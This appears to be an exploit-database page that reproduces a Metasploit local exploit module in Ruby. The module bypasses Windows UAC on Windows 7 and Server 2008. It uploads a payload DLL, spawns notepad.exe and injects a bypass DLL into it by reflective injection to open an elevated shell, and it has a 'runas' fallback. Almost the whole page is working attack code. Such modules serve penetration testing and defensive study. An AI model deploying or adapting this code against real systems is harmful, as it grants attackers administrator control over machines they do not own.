Windows Escalate UAC Protection Bypass (In Memory Injection)

Risk: High
Local: Yes
Remote: No

## # This module requires Metasploit: http// # Current source: ## require 'msf/core' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Post::File include Post::Windows::Priv include Post::Windows::ReflectiveDLLInjection def initialize(info={}) super( update_info( info, 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)', 'Description' => %q{ This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). }, 'License' => MSF_LICENSE, 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]>', 'mitnick', 'mubix', # Port to local exploit 'Ben Campbell <eat_meatballs[at]' # In memory technique ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', '', 'URL', '' ] ], 'DisclosureDate'=> "Dec 31 2010" )) end def bypass_dll_path # path to the bypassuac binary path = ::File.join(Msf::Config.data_directory, "post") # decide, x86 or x64 sysarch = sysinfo["Architecture"] if sysarch =~ /x64/i unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x86 Target Selected for x64 System" ) end if sysarch =~ /WOW64/i return ::File.join(path, "bypassuac-x86.dll") else return ::File.join(path, "bypassuac-x64.dll") end else if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x64 Target Selected for x86 System" ) end ::File.join(path, "bypassuac-x86.dll") end end def check_permissions! # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") end end def exploit validate_environment! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Exploit::Failure::NotVulnerable, "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." when UAC_NO_PROMPT print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" runas_method return end check_permissions! @temp_path = expand_path('%TEMP%').strip upload_payload_dll! pid = spawn_inject_proc run_injection(pid, bypass_dll_path) # delete the uac bypass payload vprint_status("Cleaning up payload file...") file_rm(payload_filepath) end def payload_filepath "#{@temp_path}\\CRYPTBASE.dll" end def runas_method payload = generate_payload_exe payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tmpdir = expand_path("%TEMP%") tempexe = tmpdir + "\\" + payload_filename write_file(tempexe, payload) print_status("Uploading payload: #{tempexe}") session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) print_status("Payload executed") end def run_injection(pid, dll_path) vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin vprint_status("Opening process #{pid}") host_process =, PROCESS_ALL_ACCESS) exploit_mem, offset = inject_dll_into_process(host_process, dll_path) vprint_status("Executing payload") thread = host_process.thread.create(exploit_mem + offset, 0) print_good("Successfully injected payload in to process: #{pid}") client.railgun.kernel32.WaitForSingleObject(thread.handle,14000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end end def spawn_inject_proc windir = expand_path("%WINDIR%").strip print_status("Spawning process with Windows Publisher Certificate, to inject into...") cmd = "#{windir}\\System32\\notepad.exe" pid = cmd_exec_get_pid(cmd) unless pid fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") end pid end def upload_payload_dll! payload = generate_payload_dll({:dll_exitprocess => true}) print_status("Uploading the Payload DLL to the filesystem...") begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) rescue Rex::Post::Meterpreter::RequestError => e fail_with( Exploit::Exception::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end end def validate_environment! fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? winver = sysinfo["OS"] unless winver =~ /Windows 2008|Windows [7]/ fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? print_status "UAC is Enabled, checking level..." else if is_in_admin_group? fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") else fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") end end end end


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